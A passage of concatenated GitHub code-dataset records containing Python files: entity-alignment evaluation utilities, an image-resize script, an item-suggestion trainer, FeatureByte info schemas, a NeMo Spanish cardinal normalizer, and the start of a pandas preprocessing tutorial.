+= 1/(rank_index + 1)\n for j in range(len(top_k)):\n if rank_index < top_k[j]:\n top_lr[j] += 1\n top_rl = [0] * len(top_k)\n MRR_rl = 0\n sim = sim_o.argsort(0)\n for i in range(Rvec.shape[0]):\n rank = sim[:,i]\n rank_index = np.where(rank == i)[0][0]\n MRR_rl += 1/(rank_index + 1)\n for j in range(len(top_k)):\n if rank_index < top_k[j]:\n top_rl[j] += 1\n print('For each left:')\n for i in range(len(top_lr)):\n print('Hits@%d: %.2f%%' % (top_k[i], top_lr[i] / len(test_pair) * 100))\n print('MRR: %.3f' % (MRR_lr / Lvec.shape[0])) \n print('For each right:')\n for i in range(len(top_rl)):\n print('Hits@%d: %.2f%%' % (top_k[i], top_rl[i] / len(test_pair) * 100))\n print('MRR: %.3f' % (MRR_rl / Rvec.shape[0]))\n\n\n# for recip.py\n\ndef csls_sim__(sim_mat, k):\n nearest_values1 = calculate_nearest_k(sim_mat, k)\n nearest_values2 = calculate_nearest_k(sim_mat.T, k)\n csls_sim_mat = 2 * sim_mat.T - nearest_values1\n csls_sim_mat = csls_sim_mat.T - nearest_values2\n return csls_sim_mat\n\ndef calculate_nearest_k(sim_mat, k):\n sorted_mat = -np.partition(-sim_mat, k + 1, axis=1) # -np.sort(-sim_mat1)\n nearest_k = sorted_mat[:, 0:k]\n return np.mean(nearest_k, axis=1)\n\ndef gen_adMtrx(x, y, aep_fuse):\n adMtrx = dict()\n for i in range(len(x)):\n x_ele = x[i]\n y_ele = y[i] + aep_fuse.shape[0]\n if x_ele not in adMtrx:\n ents = []\n else:\n ents = adMtrx[x_ele]\n ents.append(y_ele)\n adMtrx[x_ele] = ents\n if y_ele not in adMtrx:\n ents = []\n else:\n ents = adMtrx[y_ele]\n ents.append(x_ele)\n adMtrx[y_ele] = ents\n return adMtrx\n\ndef gen_adMtrx_more(x, y, rows, columns, aep_fuse):\n adMtrx1 = dict()\n for i in range(len(x)):\n x_ele = rows[x[i]]\n y_ele = columns[y[i]] + aep_fuse.shape[0]\n if x_ele not in adMtrx1:\n ents = []\n else:\n ents = adMtrx1[x_ele]\n ents.append(y_ele)\n\n adMtrx1[x_ele] = ents\n\n if y_ele not in adMtrx1:\n ents = []\n else:\n ents = adMtrx1[y_ele]\n ents.append(x_ele)\n adMtrx1[y_ele] = ents\n return adMtrx1\n\n\ndef BFS(graph, vertex):\n queue = []\n queue.append(vertex)\n looked = set()\n looked.add(vertex)\n while (len(queue) > 0):\n temp = queue.pop(0)\n nodes = graph[temp]\n for w in nodes:\n if w not in looked:\n queue.append(w)\n looked.add(w)\n return looked\n\ndef get_blocks(adMtrx, allents):\n count1 = 0\n Graph = adMtrx\n leftents = allents\n blocks = []\n lenghs = []\n while len(leftents) > 0:\n vertex = list(leftents)[0]\n if vertex in Graph:\n matched = BFS(Graph, vertex)\n else:\n matched = {vertex}\n leftents = leftents.difference(matched)\n blocks.append(matched)\n lenghs.append(len(matched))\n if len(matched) == 1:\n count1 += 1\n print('Total blocks: ' + str(len(blocks)))\n print('Total blocks with length 1: ' + str(count1))\n return blocks\n\ndef male_without_match(matches, males):\n for male in males:\n if male not in matches:\n return male\n\ndef deferred_acceptance(male_prefs, female_prefs):\n female_queue = defaultdict(int)\n males = list(male_prefs.keys())\n matches = {}\n while True:\n male = male_without_match(matches, males)\n # print(male)\n if male is None:\n break\n female_index = female_queue[male]\n female_queue[male] += 1\n # print(female_index)\n\n try:\n female = male_prefs[male][female_index]\n except IndexError:\n matches[male] = male\n continue\n # print('Trying %s with %s... ' % (male, female), end='')\n prev_male = matches.get(female, None)\n if not prev_male:\n matches[male] = female\n matches[female] = male\n # print('auto')\n elif female_prefs[female].index(male) < \\\n female_prefs[female].index(prev_male):\n matches[male] = female\n matches[female] = male\n del matches[prev_male]\n # print('matched')\n # else:\n # print('rejected')\n return {male: matches[male] for male in male_prefs.keys()}\n\ndef eva_sm(sim_mat):\n t = time.time()\n print('stable matching...')\n thr = 10500\n thr2 = 10500\n\n scale = sim_mat.shape[0]\n # store preferences\n MALE_PREFS = {}\n FEMALE_PREFS = {}\n pref = np.argsort(-sim_mat[:scale, :scale], axis=1)\n print(\"Generate the preference scores time elapsed: {:.4f} s\".format(time.time() - t))\n\n for i in range(scale):\n lis = (pref[i] + thr2).tolist()\n MALE_PREFS[i] = lis\n print(\"Forming the preference scores time 1 elapsed: {:.4f} s\".format(time.time() - t))\n del pref\n\n pref_col = np.argsort(-sim_mat[:scale, :scale], axis=0)\n print(\"Generate the preference scores time elapsed: {:.4f} s\".format(time.time() - t))\n\n for i in range(scale):\n FEMALE_PREFS[i + thr2] = pref_col[:, i].tolist()\n print(\"Forming the preference scores time 2 elapsed: {:.4f} s\".format(time.time() - t))\n del pref_col\n\n matches = deferred_acceptance(MALE_PREFS, FEMALE_PREFS)\n del MALE_PREFS\n del FEMALE_PREFS\n print(\"Deferred acceptance time elapsed: {:.4f} s\".format(time.time() - t))\n\n # print(matches)\n trueC = 0\n for match in matches:\n if match + thr2 == matches[match]:\n trueC += 1\n print('accuracy: ' + str(float(trueC) / thr))\n print(\"total time elapsed: {:.4f} s\".format(time.time() - t))\n\n\ndef eva_sm_1(sim_mat, sim_mat1):\n t = time.time()\n print('stable matching...')\n thr = 10500\n thr2 = 10500\n\n scale = sim_mat.shape[0]\n # store preferences\n MALE_PREFS = {}\n FEMALE_PREFS = {}\n pref = np.argsort(-sim_mat[:scale, :scale], axis=1)\n print(\"Generate the preference scores time elapsed: {:.4f} s\".format(time.time() - t))\n\n for i in range(scale):\n lis = (pref[i] + thr2).tolist()\n MALE_PREFS[i] = lis\n print(\"Forming the preference scores time 1 elapsed: {:.4f} s\".format(time.time() - t))\n del pref\n\n pref_col = np.argsort(-sim_mat1[:scale, :scale], axis=1)\n print(\"Generate the preference scores time elapsed: {:.4f} s\".format(time.time() - t))\n\n for i in range(scale):\n FEMALE_PREFS[i + thr2] = pref_col[i].tolist()\n print(\"Forming the preference scores time 2 elapsed: {:.4f} s\".format(time.time() - t))\n del pref_col\n\n matches = deferred_acceptance(MALE_PREFS, FEMALE_PREFS)\n del MALE_PREFS\n del FEMALE_PREFS\n print(\"Deferred acceptance time elapsed: {:.4f} s\".format(time.time() - t))\n\n # print(matches)\n trueC = 0\n for match in matches:\n if match + thr2 == matches[match]:\n trueC += 1\n print('accuracy: ' + str(float(trueC) / thr))\n print(\"total time elapsed: {:.4f} s\".format(time.time() - t))","repo_name":"DexterZeng/LIME","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12389,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"42221451183","text":"#import the library opencv\r\nimport cv2\r\n#globbing utility.\r\nimport glob\r\n#select the path\r\n#I have provided my path from my local computer, please change it accordingly\r\npath = \"C:/Users/akbari/Desktop/python_peactice/dataset1/sahraei/*.*\"\r\npath2 = \"C:/Users/akbari/Desktop/python_peactice/dataset/Sahraei/\"\r\nN=1\r\nfor file in glob.glob(path):\r\n im = cv2.imread(file)\r\n resized = cv2.resize(im, (400,400), interpolation = cv2.INTER_CUBIC)\r\n name = path2+\"im\"+str(N)+\".jpg\"\r\n cv2.imwrite(name,resized)\r\n N=N+1\r\n \r\n ","repo_name":"mahrokhsahraei1989/Person-recognition-and-human-smile-recognition-by-a-social-robot","sub_path":"Resize.py","file_name":"Resize.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72458077372","text":"from collections import defaultdict\nfrom app import cache, db\nfrom app.database.model_custom_set import ModelCustomSet\nfrom app.database.model_custom_set import ModelEquippedItem\nimport json\nfrom sqlalchemy import func\nfrom mlxtend.frequent_patterns import fpgrowth\nfrom mlxtend.preprocessing import TransactionEncoder\nimport pandas as pd\nimport datetime\n\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n \"-d\",\n \"--days\",\n help=\"Number of days ago of builds to use (default 180)\",\n type=int,\n default=180,\n)\n\n\ndef get_relative_date(days):\n return (datetime.datetime.now() - datetime.timedelta(days=days)).strftime(\n \"%Y-%m-%d\"\n )\n\n\nDATE_180_DAYS_AGO = get_relative_date(180)\n\n\ndef train_suggestion_model(date):\n item_lists = [\n [str(uuid) for uuid in result_tuple[0]]\n for result_tuple in db.session.query(func.array_agg(ModelEquippedItem.item_id),)\n .filter(ModelEquippedItem.custom_set.has(ModelCustomSet.last_modified > date))\n .group_by(ModelEquippedItem.custom_set_id)\n .all()\n ]\n\n print(\"Found {} builds, processing...\".format(len(item_lists)))\n\n te = TransactionEncoder()\n te_ary = te.fit(item_lists).transform(item_lists)\n df = pd.DataFrame(te_ary, columns=te.columns_)\n association_results = fpgrowth(\n df=df, min_support=0.0005, max_len=2, use_colnames=True\n )\n\n print(\n \"Found {} rules, calculating confidence and creating lookup table...\".format(\n len(association_results.index)\n )\n )\n\n support_table = {}\n lookup_table = defaultdict(dict)\n\n for _, row in association_results.iterrows():\n items = list(row[\"itemsets\"])\n if len(items) == 1:\n support_table[items[0]] = row[\"support\"]\n if len(items) == 2:\n lookup_table[items[0]][items[1]] = row[\"support\"] / support_table[items[0]]\n lookup_table[items[1]][items[0]] = row[\"support\"] / support_table[items[1]]\n\n old_version = cache.get(\"suggestion_lookup_table_version\")\n if old_version:\n print(\"Found old version {}, bumping\".format(old_version))\n old_version = int(old_version)\n new_version = old_version + 1\n else:\n print(\"Starting new version at 1\")\n new_version = 1\n print(\n \"Setting hash in cache with key 'suggestion_lookup_table:{}'...\".format(\n new_version\n )\n )\n for k, v in lookup_table.items():\n cache.hset(\n \"suggestion_lookup_table:{}\".format(new_version), k, json.dumps(v),\n )\n cache.set(\"suggestion_lookup_table_version\", new_version)\n cache.delete(\"suggestion_lookup_table:{}\".format(old_version))\n\n print(\"Done\")\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n train_suggestion_model(get_relative_date(args.days))\n","repo_name":"dofuslab/dofuslab","sub_path":"server/app/suggester/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"78"} +{"seq_id":"12030015611","text":"\"\"\"\nInfo related schema\n\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Any, List, Optional\n\nfrom datetime import datetime\n\nfrom pydantic import Field, StrictStr, root_validator\n\nfrom featurebyte.enum import DBVarType, SourceType\nfrom featurebyte.models.base import FeatureByteBaseModel, PydanticObjectId, VersionIdentifier\nfrom featurebyte.models.credential import DatabaseCredentialType, StorageCredentialType\nfrom featurebyte.models.feature_list import (\n FeatureListStatus,\n FeatureReadinessDistribution,\n FeatureTypeFeatureCount,\n)\nfrom featurebyte.models.feature_namespace import DefaultVersionMode\nfrom featurebyte.models.feature_store import TableStatus\nfrom featurebyte.models.request_input import RequestInputType\nfrom featurebyte.models.user_defined_function import FunctionParameter\nfrom featurebyte.query_graph.model.critical_data_info import CriticalDataInfo\nfrom featurebyte.query_graph.model.feature_job_setting import FeatureJobSetting\nfrom featurebyte.query_graph.node.schema import DatabaseDetails, TableDetails\nfrom featurebyte.schema.common.base import BaseBriefInfo, BaseInfo\nfrom featurebyte.schema.common.operation import DictProject\nfrom featurebyte.schema.feature import (\n FeatureBriefInfoList,\n ReadinessComparison,\n TableCleaningOperationComparison,\n TableFeatureJobSettingComparison,\n VersionComparison,\n)\nfrom featurebyte.schema.feature_job_setting_analysis import AnalysisOptions\nfrom featurebyte.schema.feature_list import ProductionReadyFractionComparison\n\n\nclass FeatureStoreInfo(BaseInfo):\n \"\"\"\n FeatureStore in schema\n \"\"\"\n\n source: SourceType\n database_details: DatabaseDetails\n\n\nclass EntityBriefInfo(BaseBriefInfo):\n \"\"\"\n Entity brief info schema\n \"\"\"\n\n serving_names: List[str]\n catalog_name: str\n\n\nclass EntityInfo(EntityBriefInfo, BaseInfo):\n \"\"\"\n Entity info schema\n \"\"\"\n\n\nclass EntityBriefInfoList(FeatureByteBaseModel):\n \"\"\"\n Paginated list of entity brief info\n \"\"\"\n\n __root__: List[EntityBriefInfo]\n\n @classmethod\n def from_paginated_data(cls, paginated_data: dict[str, Any]) -> EntityBriefInfoList:\n \"\"\"\n Construct entity brief info list from paginated data\n\n Parameters\n ----------\n paginated_data: dict[str, Any]\n Paginated data\n\n Returns\n -------\n EntityBriefInfoList\n \"\"\"\n entity_project = DictProject(rule=(\"data\", [\"name\", \"serving_names\", \"catalog_name\"]))\n return EntityBriefInfoList(__root__=entity_project.project(paginated_data))\n\n\nclass TableBriefInfo(BaseBriefInfo):\n \"\"\"\n Table brief info schema\n \"\"\"\n\n status: TableStatus\n catalog_name: str\n\n\nclass TableBriefInfoList(FeatureByteBaseModel):\n \"\"\"\n Paginated list of table brief info\n \"\"\"\n\n __root__: List[TableBriefInfo]\n\n @classmethod\n def from_paginated_data(cls, paginated_data: dict[str, Any]) -> TableBriefInfoList:\n \"\"\"\n Construct table brief info list from paginated data\n\n Parameters\n ----------\n paginated_data: dict[str, Any]\n Paginated data\n\n Returns\n -------\n TableBriefInfoList\n \"\"\"\n data_project = DictProject(rule=(\"data\", [\"name\", \"status\", \"catalog_name\"]))\n return TableBriefInfoList(__root__=data_project.project(paginated_data))\n\n\nclass EventTableBriefInfoList(FeatureByteBaseModel):\n \"\"\"\n Paginated list of event table brief info\n \"\"\"\n\n __root__: List[TableBriefInfo]\n\n @classmethod\n def from_paginated_data(cls, paginated_data: dict[str, Any]) -> EventTableBriefInfoList:\n \"\"\"\n Construct event table brief info list from paginated data\n\n Parameters\n ----------\n paginated_data: dict[str, Any]\n Paginated data\n\n Returns\n -------\n EventTableBriefInfoList\n \"\"\"\n event_table_project = DictProject(rule=(\"data\", [\"name\", \"status\"]))\n return EventTableBriefInfoList(__root__=event_table_project.project(paginated_data))\n\n\nclass TableColumnInfo(FeatureByteBaseModel):\n \"\"\"\n TableColumnInfo for storing column information\n\n name: str\n Column name\n dtype: DBVarType\n Variable type of the column\n entity: str\n Entity name associated with the column\n semantic: str\n Semantic name associated with the column\n critical_data_info: CriticalDataInfo\n Critical data information associated with the column\n description: str\n Description of the column\n \"\"\"\n\n name: StrictStr\n dtype: DBVarType\n entity: Optional[str] = Field(default=None)\n semantic: Optional[str] = Field(default=None)\n critical_data_info: Optional[CriticalDataInfo] = Field(default=None)\n description: Optional[str] = Field(default=None)\n\n\nclass TableInfo(TableBriefInfo, BaseInfo):\n \"\"\"\n Table info schema\n \"\"\"\n\n record_creation_timestamp_column: Optional[str]\n table_details: TableDetails\n entities: EntityBriefInfoList\n semantics: List[str]\n column_count: int\n columns_info: Optional[List[TableColumnInfo]]\n\n\nclass EventTableInfo(TableInfo):\n \"\"\"\n EventTable info schema\n \"\"\"\n\n event_timestamp_column: str\n event_id_column: str\n default_feature_job_setting: Optional[FeatureJobSetting]\n\n\nclass ItemTableInfo(TableInfo):\n \"\"\"\n ItemTable info schema\n \"\"\"\n\n event_id_column: str\n item_id_column: str\n event_table_name: str\n\n\nclass DimensionTableInfo(TableInfo):\n \"\"\"\n DimensionTable info schema\n \"\"\"\n\n dimension_id_column: str\n\n\nclass SCDTableInfo(TableInfo):\n \"\"\"\n SCDTable info schema\n \"\"\"\n\n natural_key_column: str\n effective_timestamp_column: str\n surrogate_key_column: Optional[str]\n end_timestamp_column: Optional[str]\n current_flag_column: Optional[str]\n\n\nclass NamespaceInfo(BaseInfo):\n \"\"\"\n Namespace info schema\n \"\"\"\n\n entities: EntityBriefInfoList\n primary_entity: EntityBriefInfoList\n tables: TableBriefInfoList\n default_version_mode: DefaultVersionMode\n version_count: int\n catalog_name: str\n\n\nclass FeatureNamespaceInfo(NamespaceInfo):\n \"\"\"\n FeatureNamespace info schema\n \"\"\"\n\n dtype: DBVarType\n primary_table: TableBriefInfoList\n default_feature_id: PydanticObjectId\n\n\nclass FeatureInfo(FeatureNamespaceInfo):\n \"\"\"\n Feature info schema\n \"\"\"\n\n dtype: DBVarType\n version: VersionComparison\n readiness: ReadinessComparison\n table_feature_job_setting: TableFeatureJobSettingComparison\n table_cleaning_operation: TableCleaningOperationComparison\n versions_info: Optional[FeatureBriefInfoList]\n metadata: Any\n namespace_description: Optional[str]\n\n\nclass FeatureListBriefInfo(FeatureByteBaseModel):\n \"\"\"\n FeatureList brief info schema\n \"\"\"\n\n version: VersionIdentifier\n readiness_distribution: FeatureReadinessDistribution\n created_at: datetime\n production_ready_fraction: Optional[float] = Field(default=None)\n\n @root_validator\n @classmethod\n def _derive_production_ready_fraction(cls, values: dict[str, Any]) -> Any:\n if \"readiness_distribution\" in values and values.get(\"production_ready_fraction\") is None:\n values[\"production_ready_fraction\"] = values[\n \"readiness_distribution\"\n ].derive_production_ready_fraction()\n return values\n\n\nclass FeatureListBriefInfoList(FeatureByteBaseModel):\n \"\"\"\n Paginated list of feature brief info\n \"\"\"\n\n __root__: List[FeatureListBriefInfo]\n\n @classmethod\n def from_paginated_data(cls, paginated_data: dict[str, Any]) -> FeatureListBriefInfoList:\n \"\"\"\n Construct feature info list from paginated data\n\n Parameters\n ----------\n paginated_data: dict[str, Any]\n Paginated data\n\n Returns\n -------\n FeatureBriefInfoList\n \"\"\"\n feature_list_project = DictProject(\n rule=(\"data\", [\"version\", \"readiness_distribution\", \"created_at\", \"catalog_id\"])\n )\n return FeatureListBriefInfoList(__root__=feature_list_project.project(paginated_data))\n\n\nclass BaseFeatureListNamespaceInfo(NamespaceInfo):\n \"\"\"\n BaseFeatureListNamespace info schema\n \"\"\"\n\n dtype_distribution: List[FeatureTypeFeatureCount]\n default_feature_list_id: PydanticObjectId\n status: FeatureListStatus\n feature_count: int\n\n\nclass FeatureListNamespaceInfo(BaseFeatureListNamespaceInfo):\n \"\"\"\n FeatureListNamespace info schema\n \"\"\"\n\n feature_namespace_ids: List[PydanticObjectId]\n default_feature_ids: List[PydanticObjectId]\n\n\nclass DefaultFeatureFractionComparison(FeatureByteBaseModel):\n \"\"\"\n DefaultFeatureFractionComparison info schema\n \"\"\"\n\n this: float\n default: float\n\n\nclass FeatureListInfo(BaseFeatureListNamespaceInfo):\n \"\"\"\n FeatureList info schema\n \"\"\"\n\n version: VersionComparison\n production_ready_fraction: ProductionReadyFractionComparison\n default_feature_fraction: DefaultFeatureFractionComparison\n versions_info: Optional[FeatureListBriefInfoList]\n deployed: bool\n namespace_description: Optional[str]\n\n\nclass FeatureJobSettingAnalysisInfo(FeatureByteBaseModel):\n \"\"\"\n FeatureJobSettingAnalysis info schema\n \"\"\"\n\n created_at: datetime\n event_table_name: str\n analysis_options: AnalysisOptions\n recommendation: FeatureJobSetting\n catalog_name: str\n\n\nclass CatalogBriefInfo(BaseBriefInfo):\n \"\"\"\n Catalog brief info schema\n \"\"\"\n\n\nclass CatalogInfo(CatalogBriefInfo, BaseInfo):\n \"\"\"\n Catalog info schema\n \"\"\"\n\n\nclass CredentialBriefInfo(BaseBriefInfo):\n \"\"\"\n Credential brief info schema\n \"\"\"\n\n database_credential_type: Optional[DatabaseCredentialType]\n storage_credential_type: Optional[StorageCredentialType]\n\n\nclass CredentialInfo(CredentialBriefInfo, BaseInfo):\n \"\"\"\n Credential info schema\n \"\"\"\n\n feature_store_info: FeatureStoreInfo\n\n\nclass ObservationTableInfo(BaseInfo):\n \"\"\"\n ObservationTable info schema\n \"\"\"\n\n type: RequestInputType\n feature_store_name: str\n table_details: TableDetails\n\n\nclass BaseFeatureOrTargetTableInfo(BaseInfo):\n \"\"\"\n BaseFeatureOrTargetTable info schema\n \"\"\"\n\n observation_table_name: Optional[str]\n table_details: TableDetails\n\n\nclass HistoricalFeatureTableInfo(BaseFeatureOrTargetTableInfo):\n \"\"\"\n Schema for historical feature table info\n \"\"\"\n\n feature_list_name: str\n feature_list_version: str\n\n\nclass TargetTableInfo(BaseFeatureOrTargetTableInfo):\n \"\"\"\n Schema for target table info\n \"\"\"\n\n target_name: str\n\n\nclass DeploymentInfo(BaseInfo):\n \"\"\"\n Schema for deployment info\n \"\"\"\n\n feature_list_name: str\n feature_list_version: str\n num_feature: int\n enabled: bool\n serving_endpoint: Optional[str]\n use_case_name: Optional[str]\n\n\nclass DeploymentRequestCodeTemplate(FeatureByteBaseModel):\n \"\"\"\n Schema for deployment request code template\n \"\"\"\n\n code_template: str\n language: str\n\n\nclass BatchRequestTableInfo(BaseInfo):\n \"\"\"\n BatchRequestTable info schema\n \"\"\"\n\n type: RequestInputType\n feature_store_name: str\n table_details: TableDetails\n\n\nclass BatchFeatureTableInfo(BaseInfo):\n \"\"\"\n Schema for batch feature table info\n \"\"\"\n\n batch_request_table_name: str\n deployment_name: str\n table_details: TableDetails\n\n\nclass StaticSourceTableInfo(BaseInfo):\n \"\"\"\n StaticSourceTable info schema\n \"\"\"\n\n type: RequestInputType\n feature_store_name: str\n table_details: TableDetails\n\n\nclass UserDefinedFunctionFeatureInfo(FeatureByteBaseModel):\n \"\"\"\n UserDefinedFunction's feature info schema\n \"\"\"\n\n id: PydanticObjectId\n name: str\n\n\nclass UserDefinedFunctionInfo(BaseInfo):\n \"\"\"\n UserDefinedFunction info schema\n \"\"\"\n\n sql_function_name: str\n function_parameters: List[FunctionParameter]\n signature: str\n output_dtype: DBVarType\n feature_store_name: str\n used_by_features: List[UserDefinedFunctionFeatureInfo]\n\n\nclass UseCaseInfo(BaseInfo):\n \"\"\"\n Use Case Info schema\n \"\"\"\n\n author: Optional[str] = None\n primary_entities: EntityBriefInfoList\n context_name: str\n target_name: str\n default_eda_table: Optional[str] = None\n default_preview_table: Optional[str] = None\n\n\nclass ContextInfo(BaseInfo):\n \"\"\"\n Context Info schema\n \"\"\"\n\n author: Optional[str] = None\n primary_entities: EntityBriefInfoList\n default_eda_table: Optional[str] = None\n default_preview_table: Optional[str] = None\n associated_use_cases: Optional[List[str]] = None\n","repo_name":"featurebyte/featurebyte","sub_path":"featurebyte/schema/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":12632,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"78"} +{"seq_id":"16976877121","text":"import pynini\nfrom nemo_text_processing.text_normalization.en.graph_utils import (\n NEMO_ALPHA,\n NEMO_DIGIT,\n NEMO_SIGMA,\n NEMO_SPACE,\n NEMO_WHITE_SPACE,\n GraphFst,\n delete_space,\n insert_space,\n)\nfrom nemo_text_processing.text_normalization.es.graph_utils import cardinal_separator\nfrom nemo_text_processing.text_normalization.es.utils import get_abs_path\nfrom pynini.lib import pynutil\n\nzero = pynini.invert(pynini.string_file(get_abs_path(\"data/numbers/zero.tsv\")))\ndigit = pynini.invert(pynini.string_file(get_abs_path(\"data/numbers/digit.tsv\")))\nteen = pynini.invert(pynini.string_file(get_abs_path(\"data/numbers/teen.tsv\")))\nties = pynini.invert(pynini.string_file(get_abs_path(\"data/numbers/ties.tsv\")))\ntwenties = pynini.invert(pynini.string_file(get_abs_path(\"data/numbers/twenties.tsv\")))\nhundreds = pynini.invert(pynini.string_file(get_abs_path(\"data/numbers/hundreds.tsv\")))\n\n\ndef filter_punctuation(fst: 'pynini.FstLike') -> 'pynini.FstLike':\n \"\"\"\n Helper function for parsing number strings. Converts common cardinal strings (groups of three digits delineated by 'cardinal_separator' - see graph_utils)\n and converts to a string of digits:\n \"1 000\" -> \"1000\"\n \"1.000.000\" -> \"1000000\"\n Args:\n fst: Any pynini.FstLike object. Function composes fst onto string parser fst\n\n Returns:\n fst: A pynini.FstLike object\n \"\"\"\n exactly_three_digits = NEMO_DIGIT ** 3 # for blocks of three\n up_to_three_digits = pynini.closure(NEMO_DIGIT, 1, 3) # for start of string\n\n cardinal_string = pynini.closure(\n NEMO_DIGIT, 1\n ) # For string w/o punctuation (used for page numbers, thousand series)\n\n cardinal_string |= (\n up_to_three_digits\n + pynutil.delete(cardinal_separator)\n + pynini.closure(exactly_three_digits + pynutil.delete(cardinal_separator))\n + exactly_three_digits\n )\n\n return cardinal_string @ fst\n\n\nclass CardinalFst(GraphFst):\n \"\"\"\n Finite state transducer for classifying cardinals, e.g.\n \"1000\" -> cardinal { integer: \"mil\" }\n \"2.000.000\" -> cardinal { integer: \"dos millones\" }\n\n Args:\n deterministic: if True will provide a single transduction option,\n for False multiple transduction are generated (used for audio-based normalization)\n \"\"\"\n\n def __init__(self, deterministic: bool = True):\n super().__init__(name=\"cardinal\", kind=\"classify\", deterministic=deterministic)\n\n # Any single digit\n graph_digit = digit\n digits_no_one = (NEMO_DIGIT - \"1\") @ graph_digit\n\n # Any double digit\n graph_tens = teen\n graph_tens |= ties + (pynutil.delete('0') | (pynutil.insert(\" y \") + graph_digit))\n graph_tens |= twenties\n\n self.tens = graph_tens.optimize()\n\n self.two_digit_non_zero = pynini.union(\n graph_digit, graph_tens, (pynini.cross(\"0\", NEMO_SPACE) + graph_digit)\n ).optimize()\n\n # Three digit strings\n graph_hundreds = hundreds + pynini.union(\n pynutil.delete(\"00\"), (insert_space + graph_tens), (pynini.cross(\"0\", NEMO_SPACE) + graph_digit)\n )\n graph_hundreds |= pynini.cross(\"100\", \"cien\")\n graph_hundreds |= (\n pynini.cross(\"1\", \"ciento\") + insert_space + pynini.union(graph_tens, pynutil.delete(\"0\") + graph_digit)\n )\n\n self.hundreds = graph_hundreds.optimize()\n\n # For all three digit strings with leading zeroes (graph appends '0's to manage place in string)\n graph_hundreds_component = pynini.union(graph_hundreds, pynutil.delete(\"0\") + graph_tens)\n\n graph_hundreds_component_at_least_one_none_zero_digit = graph_hundreds_component | (\n pynutil.delete(\"00\") + graph_digit\n )\n graph_hundreds_component_at_least_one_none_zero_digit_no_one = graph_hundreds_component | (\n pynutil.delete(\"00\") + digits_no_one\n )\n\n graph_thousands_component_at_least_one_none_zero_digit = pynini.union(\n pynutil.delete(\"000\") + graph_hundreds_component_at_least_one_none_zero_digit,\n graph_hundreds_component_at_least_one_none_zero_digit_no_one\n + pynutil.insert(\" mil\")\n + ((insert_space + graph_hundreds_component_at_least_one_none_zero_digit) | pynutil.delete(\"000\")),\n pynini.cross(\"001\", \"mil\")\n + ((insert_space + graph_hundreds_component_at_least_one_none_zero_digit) | pynutil.delete(\"000\")),\n )\n\n graph_thousands_component_at_least_one_none_zero_digit_no_one = pynini.union(\n pynutil.delete(\"000\") + graph_hundreds_component_at_least_one_none_zero_digit_no_one,\n graph_hundreds_component_at_least_one_none_zero_digit_no_one\n + pynutil.insert(\" mil\")\n + ((insert_space + graph_hundreds_component_at_least_one_none_zero_digit) | pynutil.delete(\"000\")),\n pynini.cross(\"001\", \"mil\")\n + ((insert_space + graph_hundreds_component_at_least_one_none_zero_digit) | pynutil.delete(\"000\")),\n )\n\n graph_million = pynutil.add_weight(pynini.cross(\"000001\", \"un millón\"), -0.001)\n graph_million |= graph_thousands_component_at_least_one_none_zero_digit_no_one + pynutil.insert(\" millones\")\n graph_million |= pynutil.delete(\"000000\")\n graph_million += insert_space\n\n graph_billion = pynutil.add_weight(pynini.cross(\"000001\", \"un billón\"), -0.001)\n graph_billion |= graph_thousands_component_at_least_one_none_zero_digit_no_one + pynutil.insert(\" billones\")\n graph_billion |= pynutil.delete(\"000000\")\n graph_billion += insert_space\n\n graph_trillion = pynutil.add_weight(pynini.cross(\"000001\", \"un trillón\"), -0.001)\n graph_trillion |= graph_thousands_component_at_least_one_none_zero_digit_no_one + pynutil.insert(\" trillones\")\n graph_trillion |= pynutil.delete(\"000000\")\n graph_trillion += insert_space\n\n graph = (\n graph_trillion\n + graph_billion\n + graph_million\n + (graph_thousands_component_at_least_one_none_zero_digit | pynutil.delete(\"000000\"))\n )\n\n self.graph = (\n ((NEMO_DIGIT - \"0\") + pynini.closure(NEMO_DIGIT, 0))\n @ pynini.cdrewrite(pynini.closure(pynutil.insert(\"0\")), \"[BOS]\", \"\", NEMO_SIGMA)\n @ NEMO_DIGIT ** 24\n @ graph\n @ pynini.cdrewrite(delete_space, \"[BOS]\", \"\", NEMO_SIGMA)\n @ pynini.cdrewrite(delete_space, \"\", \"[EOS]\", NEMO_SIGMA)\n @ pynini.cdrewrite(\n pynini.cross(pynini.closure(NEMO_WHITE_SPACE, 2), NEMO_SPACE), NEMO_ALPHA, NEMO_ALPHA, NEMO_SIGMA\n )\n )\n self.graph |= zero\n\n self.graph = filter_punctuation(self.graph).optimize()\n\n optional_minus_graph = pynini.closure(pynutil.insert(\"negative: \") + pynini.cross(\"-\", \"\\\"true\\\" \"), 0, 1)\n\n final_graph = optional_minus_graph + pynutil.insert(\"integer: \\\"\") + self.graph + pynutil.insert(\"\\\"\")\n\n final_graph = self.add_tokens(final_graph)\n self.fst = final_graph.optimize()\n","repo_name":"NVIDIA/NeMo-text-processing","sub_path":"nemo_text_processing/text_normalization/es/taggers/cardinal.py","file_name":"cardinal.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"78"} +{"seq_id":"8136595618","text":"# -*- coding: utf-8 -*-\n\n# 1-kutuphaneler\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 2- veri on isleme\n\n# 2.1- veri yukleme\nveriler = pd.read_csv('veriler.csv')\n\n# encoder : Kategoric -> Numeric\n\nulke = veriler.iloc[:,0:1].values\nprint(ulke)\n\nyasboykilo = veriler.iloc[:,1:4].values\nprint(yasboykilo)\n\ncinsiyet = veriler.iloc[:,-1:].values\nprint(cinsiyet)\n\n# ulke ve cinsiyet onehotencoder ile nominal degerlerden numeric donusumu yapilir\n\nfrom sklearn.preprocessing import OneHotEncoder\nohe = OneHotEncoder(categorical_features = \"all\")\nulke= ohe.fit_transform(ulke).toarray() # nominal degrelerden kolon bazli degerler 